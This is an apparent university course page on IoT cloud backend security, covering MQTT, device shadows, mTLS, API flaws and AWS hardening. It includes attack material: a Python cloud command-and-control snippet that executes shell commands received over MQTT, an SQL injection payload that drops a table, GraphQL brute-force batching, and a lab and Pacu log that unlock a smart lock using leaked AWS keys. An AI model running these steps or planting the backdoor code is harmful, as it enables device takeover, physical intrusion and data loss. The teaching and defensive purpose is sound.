Skip to content

Week 08 Quiz

Test your understanding of the weekly concepts.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz
CSY304 Week 08 Advanced

Week Content

IoT & Embedded Systems Security

Track your progress through this week's content

Opening Framing

Modern IoT devices are rarely standalone—they connect to cloud backends for device management, data storage, user authentication, firmware updates, and remote control. AWS IoT Core, Azure IoT Hub, and Google Cloud IoT provide managed platforms, but even the best infrastructure can't prevent application-layer vulnerabilities.

The Force Multiplier: A vulnerability in a single device affects one user. A vulnerability in the Cloud API affects every user. Compomising the cloud backend is the "God Mode" of IoT hacking.

This week bridges Week 08 of CSY203 (Web Security) into the IoT context. You'll learn IoT cloud architectures, test device APIs for common vulnerabilities (IDOR, Shadow Attacks), and understand the unique risks of centralized device management.

Week Learning Outcomes:
  • Architect secure IoT cloud backends using AWS/Azure components.
  • Differentiate between mTLS, SAS Tokens, and JWTs for device auth.
  • Exploit Device Shadow vulnerabilities to manipulate offline devices.
  • Inject malicious queries into IoT GraphQL endpoints.
  • Audit AWS IoT configurations using open-source tools (Pacu, ScoutSuite).

1) IoT Cloud Architecture: The Building Blocks

Whether it's AWS, Azure, or GCP, the components are the same. Understanding these is prerequisite to attacking them.


[ ARCHITECTURE: THE CLOUD BACKEND ]

      (DEVICE)                    (CLOUD ENTRY)                    (BACKEND LOGIC)
    +-----------+              +-----------------+               +------------------+
    | Smart Bulb| --(MQTT)---> |  IoT Gateway    | --(Rules)---> |  Lambda / Funcs  |
    +-----------+    TLS       | (Msg Broker)    |               +------------------+
          ^                    +--------+--------+                        |
          |                             |                                 v
    (USER APP)                          v                        +------------------+
    +-----------+              +-----------------+               |     Database     |
    | Mobile App| --(HTTPS)--> |   API Gateway   | --(Query)---> | (DynamoDB/SQL)   |
    +-----------+   (REST)     +-----------------+               +------------------+
                    

Component A: The Device Registry

The "Phonebook" of the IoT cloud. It lists every valid device allowed to connect.
Attacker Goal: Enumerate the registry to find valid Device IDs, serial numbers, and metadata.
Common Flaw: Allow `iot:ListThings` permission to unauthenticated users or the mobile app.

Component B: The Message Broker (MQTT)

The "Post Office". It routes messages between devices and the cloud using Topics.
- Publish: Sending data (Device -> `sensors/temp`).
- Subscribe: Listening for data (Mobile App <- `sensors/temp`).
Attacker Goal: Subscribe to `#` (Wildcard) to eavesdrop on ALL traffic from ALL devices.

Component C: The Device Shadow (Digital Twin)

IoT devices are unreliable. They lose Wi-Fi, run out of battery, or sleep. The Shadow is a virtual JSON document that exists in the cloud, representing the device.

Example Shadow Document

{
  "state": {
    "reported": {
      "light_status": "ON",
      "firmware_version": "1.0",
      "battery": 85,
      "uptime": 90021
    },
    "desired": {
      "light_status": "OFF"
    },
    "delta": {
      "light_status": "OFF"
    }
  },
  "metadata": {
      "reported": {
           "light_status": { "timestamp": 1625241 }
      }
  },
  "version": 105
}
                    
The Attack: If an attacker can write to the Desired state, they control the device. If they can write to the Reported state, they can mask an attack (e.g., reporting "Valve Closed" while flooding the room).

2) Authentication Mechanics: Establishing Trust

How do we know the "Smart Toaster" is actually our toaster? Authentication in IoT is harder than web because devices update certificates.

Method A: Mutual TLS (mTLS) - The Gold Standard

Used by AWS IoT Core. Both sides present a certificate.
Process:
1. Device burns a Private Key (`device.key`) into secure storage (TPM/Secure Element) at the factory.
2. Device sends Client Certificate (`device.crt`) during TLS Handshake.
3. Cloud verifies the Cert is signed by the Manufacturer CA.
Security: Extremely high. Keys never traverse the wire.

Python: Connecting with mTLS (Full Script)

# A complete client script to connect to AWS IoT Core
import time
import json
import paho.mqtt.client as mqtt
import ssl

# CONSTANTS
ENDPOINT = "a3xxxxxx.iot.us-east-1.amazonaws.com"
PORT = 8883
TOPIC = "device/123/data"
CLIENT_ID = "Device-123"

# FILES (Extracted from Firmware)
CA_CERT = "root-ca.pem"
DEVICE_CERT = "device.crt"
PRIVATE_KEY = "device.key"  # The most valuable file

def on_connect(client, userdata, flags, rc):
    print(f"Connected with result code {rc}")
    # Subscribe to commands
    client.subscribe("device/123/commands")

def on_message(client, userdata, msg):
    print(f"Received message: {msg.topic} -> {msg.payload.decode()}")

# Setup Client
client = mqtt.Client(client_id=CLIENT_ID)
client.on_connect = on_connect
client.on_message = on_message

# Configure TLS - This is where the magic happens
client.tls_set(
    ca_certs=CA_CERT,
    certfile=DEVICE_CERT,
    keyfile=PRIVATE_KEY,
    tls_version=ssl.PROTOCOL_TLSv1_2
)

# Connect and Loop
print("[*] Connecting to IoT Core...")
client.connect(ENDPOINT, PORT, 60)
client.loop_start()

while True:
    payload = {"temp": 25.5, "status": "OK"}
    client.publish(TOPIC, json.dumps(payload))
    print(f"Published: {payload}")
    time.sleep(5)
                    

Method B: SAS Tokens (Shared Access Signatures)

Used by Azure IoT Hub. A time-limited token signed with a symmetric key.
Risk: If the symmetric key is extracted from firmware, anyone can generate valid tokens forever. There is no easy "revocation" without rotating the master key.

Method C: Just-in-Time (JIT) Provisioning

Device connects for the first time -> Cloud sees valid Manufacturer CA -> Cloud auto-creates a "Thing" in the registry.
Vulnerability: If the Manufacturer CA private key leaks, attackers can provision massive fake botnets to DDoS the platform.

3) IoT API Attack Surface

The "User" side of the equation. Usually REST or GraphQL.

REST Vulnerabilities
  • IDOR: `GET /device/123`. Change to `124`. Access neighbor's camera.
  • Mass Assignment: `PUT /device/123 { "isAdmin": true, "owner": "hacker" }`.
  • Key Leaks: API keys hardcoded in the mobile app strings.xml.
GraphQL Vulnerabilities
  • Introspection: Querying `__schema` to download the entire database structure.
  • Batching Attack: Sending 1000 queries in one HTTP request to bypass rate limits.
  • Nested Queries: `author { posts { author { posts ... } } }` to DoS the server.

Deep Dive: GraphQL Injection

Many modern IoT dashboards use GraphQL for flexibility. It is often secured poorly.

Malicious GraphQL Query: Introspection

# The "Introspection" Attack to find hidden admin fields
query {
  __schema {
    types {
      name
      fields {
        name
        description
      }
    }
  }
}
# RESPONSE:
# "Type": "Device"
# "Fields": ["id", "name", "owner", "FIRMWARE_BACKDOOR_URL", "RESET_TOKEN"]
                    
Malicious GraphQL Query: Batching

# Instead of guessing passwords one by one, guess 50 at once
query {
  guess1: login(password: "1234") { token }
  guess2: login(password: "admin") { token }
  guess3: login(password: "password") { token }
  ...
}
                    

4) The OWASP API Top 10 (IoT Context)

APIs are the most common entry point for mass IoT exploits. We map them to the OWASP framework.

API1: Broken Object Level Authorization (BOLA/IDOR)

The Flaw: The server checks Authentication (Who are you?) but not Authorization (Do you own this object?).

Attack Scenario: User A logs in and gets Token A. User A captures the request `GET /api/v1/cameras/video?id=555`. User A changes `id=555` to `id=556`. The server validates Token A, sees it is valid, and streams the video from Camera 556 (User B's bedroom).

Burp Suite Log: IDOR Attack

GET /api/v1/cameras/stream?id=556 HTTP/1.1
Host: api.iot-cloud.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni... (User A's Token)
Content-Type: application/json

HTTP/1.1 200 OK
Content-Type: application/json
{
  "stream_url": "rtsp://54.21.10.12:554/live/stream_UserB.m3u8",
  "status": "live"
}
                    

API2: Broken Authentication

The Flaw: Weak JWT signing secrets, tokens that never expire, or predictable session IDs.

Tool: Use `jwt_tool` to forge tokens. Try the "None Algorithm" attack (stripping the signature header). Attackers can claim `{"role": "admin"}` and if the signature isn't checked, the server believes it.

API3: Excessive Data Exposure

The Flaw: The backend returns a full object `SELECT * FROM users`, and the Mobile App filters it blindly.

Attack: A smart lock API returning the "unlock_code" in the JSON response even when just querying battery status.

API4: Lack of Resources & Rate Limiting

The Flaw: Allowing unlimited requests.

Attack: Flooding an MQTT broker with CONNECT packets to exhaust connection limits, preventing legitimate devices from reporting alarms.

API5: Broken Function Level Authorization

The Flaw: Hiding admin buttons in the UI instead of securing the endpoint.

Attack: An attacker guesses `POST /api/admin/reboot` and sends it with a normal user token. If the backend doesn't check for Admin Role, it executes.

6) Deep Dive: Cloud C2 (Command & Control)

Attackers are moving away from IRC/HTTP botnets and using valid Cloud IoT infrastructure for C2.

Why?

The Mechanism: The attacker compromises a device, then uses the existing MQTT connection to subscribe to a hidden topic `updates/evil`. They publish commands to this topic via the Cloud, and the device executes them.

Python: The Cloud C2 Client

# A malicious payload injected into the device
def on_message(client, userdata, msg):
    if msg.topic == "updates/evil":
        command = msg.payload.decode()
        # Execute command and publish output back
        output = subprocess.check_output(command, shell=True)
        client.publish("updates/evil/output", output)

client.subscribe("updates/evil")
# Now the attacker controls the device using AWS/Azure as the proxy!
                    

7) Cloud-Native Vulnerabilities

Attacking the infrastructure configuration itself.

S3 Bucket Exposure

Scenario: Vendor hosts firmware updates in an S3 bucket.
Mistake: `Authenticated Users` permission usually means "Any AWS user globally", not "Users in my account".
Impact: Attackers download firmware, reverse engineer it, find keys, and compromise the fleet.

IoT Rules Injection

AWS IoT Rules use SQL-like syntax: `SELECT * FROM 'topic/#'`.
If the rule passes data to a Lambda function: `INSERT INTO DB VALUES ('$payload.data')`.
Attack: Send payload `'); DROP TABLE devices; --`. This is Second-Order SQL Injection routing through MQTT -> Rule -> Lambda -> Database.

Serverless Attacks

Lambda functions are ephemeral, but they reuse containers for performance ("Warm Start").
Attack: If you can gain RCE in a Lambda (via injection), you can store data in `/tmp` or modify the running process memory. The Next Request from a different user might be served by the same infected container, leaking their data.

Guided Lab: The Shadow Play

Objective: Use AWS CLI to manipulate a Device Shadow and trigger a state change.

Scenario: You have obtained a set of AWS Keys from a decompiled mobile app.

Step 1: Configure AWS CLI


$ aws configure
AWS Access Key ID: AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name: us-east-1
                    

Step 2: Enumerate Things

List all devices this key can see. This is often allowed by overly permissive IAM policies.

Bad Policy Example (The Root Cause)

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "iot:*",
            "Resource": "*"
        }
    ]
}
/* ^ THIS POLICY IS DEATH. It allows enumerating and controlling EVERY device. */
                    
$ aws iot list-things
{
    "things": [
        { "thingName": "SmartLock_FrontDoor", "thingArn": "..." },
        { "thingName": "GarageOpener", "thingArn": "..." }
    ]
}

Step 3: Read the Shadow

$ aws iot-data get-thing-shadow --thing-name SmartLock_FrontDoor output.json
$ cat output.json
{
    "state": {
        "reported": { "lock_status": "LOCKED" }
    }
}

Step 4: The Attack (Update Desired State)

We tell the cloud "I desire this door to be UNLOCKED". The cloud will push this to the device.

$ aws iot-data update-thing-shadow \
    --thing-name SmartLock_FrontDoor \
    --payload '{"state": {"desired": {"lock_status": "UNLOCKED"}}}' \
    response.json

Impact: If the device logic is blind, it sees the update and unlocks the door. This bypasses the mobile app entirely.

XP REWARD: +500 XP (Cloud Sovereign)

Tools of the Trade

Tools for auditing Cloud and API security.

Tool Target Function Install
Pacu AWS Cloud Exploitation framework for AWS (like Metasploit for Cloud). Modules for enumerating S3, Lambda, and IoT. `pip install pacu`
ScoutSuite AWS/Azure/GCP Multi-cloud security auditing tool (Configuration review). Generates a HTML report of all bad settings. `pip install scoutsuite`
Postman REST/GraphQL API interaction and automated testing. Great for crafting malicious JSON payloads. (Download App)
Burp Suite HTTP/HTTPS The industry standard HTTP proxy for intercepting traffic. Required for testing IDOR and Injection. (Download App)
jwt_tool JWT Tokens Forging, cracking, and manipulating JWTs. Can automate the "None" algo attack. `git clone ...`
GraphiQL GraphQL IDE for exploring GraphQL schemas. Often left enabled in production builds. (Browser Ext)

Appendix A: The Pacu Attack Session

A real-world log of an AWS IoT compromise using the `Pacu` framework.

Terminal: Pacu v1.4.2

Pacu > run iot__enum
  [+] Examples:
    run iot__enum
    run iot__enum --regions us-east-1,us-west-2
  
  [+] Starting enumeration...
  [+] Found 12 Things in us-east-1:
      - Camera_Backyard (arn:aws:iot:us-east-1:123456789012:thing/Camera_Backyard)
      - Camera_FrontDoor (arn:aws:iot:us-east-1:123456789012:thing/Camera_FrontDoor)
      - SmartLock_Main (arn:aws:iot:us-east-1:123456789012:thing/SmartLock_Main)
      ...

Pacu > run iot__shadow_dump --thing-name SmartLock_Main
  [+] Targeting SmartLock_Main...
  [+] Shadow Document Retrieved:
  {
      "state": {
          "desired": { "lock": "LOCKED" },
          "reported": { "lock": "LOCKED", "battery": 12, "wifi_ssid": "HiddenNetwork" }
      }
  }
  
Pacu > run iot__shadow_update --thing-name SmartLock_Main --payload '{"state":{"desired":{"lock":"UNLOCKED"}}}'
  [+] Update sent!
  [+] Listening for Delta Accepted...
  [+] SUCCESS. Cloud confirmed update.
                    

Appendix B: IoT Cloud Hardening Checklist

Use this checklist to secure your AWS IoT deployment.

Authentication

  • [ ] Use Mutual TLS (mTLS) for all devices.
  • [ ] Disable "Just-in-Time" Provisioning unless strictly controlled.
  • [ ] Rotate CA certificates every year.
  • [ ] Store Private Keys in Secure Enclaves (TPM/HSM).

Authorization

  • [ ] Use `iot:Connect` conditions to restrict ClientID matching.
  • [ ] Deny `iot:Subscribe` to wildcard topics (`#`).
  • [ ] Restrict `iot:Publish` to `topic/device/${iot:ClientId}/*`.
  • [ ] Ensure Mobile App Users cannot assume Device roles.

Appendix C: Polyglot Code Library

Implementation reference for connecting to AWS IoT Core.


const awsIot = require('aws-iot-device-sdk');

// Device setup
const device = awsIot.device({
   keyPath: 'private.key',
   certPath: 'cert.crt',
   caPath: 'root-ca.pem',
   clientId: 'device-node-01',
   host: 'a3xxxx.iot.us-east-1.amazonaws.com'
});

device.on('connect', function() {
   console.log('Connected!');
   device.subscribe('topic/1');
   device.publish('topic/2', JSON.stringify({ test_data: 1}));
});
                        

Glossary of Terms

Device Shadow
A JSON document in the cloud that stores the current and desired state of a device.
IDOR
Insecure Direct Object Reference. Accessing data by simply changing an ID number.
mTLS
Mutual TLS. Authentication where BOTH client and server present certificates.
SAS Token
Shared Access Signature. A string token signed with a symmetric key (Azure style).
GraphQL
A query language for APIs. Allows clients to request exactly the data they need.
Introspection
A GraphQL feature that allows querying the schema itself (like `SHOW TABLES` in SQL).
JIT Provisioning
Just-in-Time. Automatically creating a device identity when it first connects with a valid certificate.
MQTT
Message Queuing Telemetry Transport. The lightweight pub/sub protocol used by IoT.
Delta
The difference between the Desired State (Cloud) and Reported State (Device).
IoT Rule
A cloud-side script that triggers actions (Database Insert, Lambda, Alert) based on MQTT messages.

Weekly Reflection: Digital Feudalism

We are entering an era of Digital Feudalism. In the past, when you bought a chair, you owned the chair. You could paint it, break it, or sell it.

Today, when you buy a smart thermostat, you are merely a tenant in a digital ecosystem owned by the landlord (Google, Amazon, Apple). You own the plastic and the glass, but you do not own the logic that makes it valuable.

If the landlord decides your device is "obsolete", they can turn it off remotely. If they decide you are using it in a way they dislike, they can lock you out. As security professionals, we must ask: Are we building secure systems for the users, or are we building secure prisons for the users?

"If you can't open it, you don't own it." — Maker Manifesto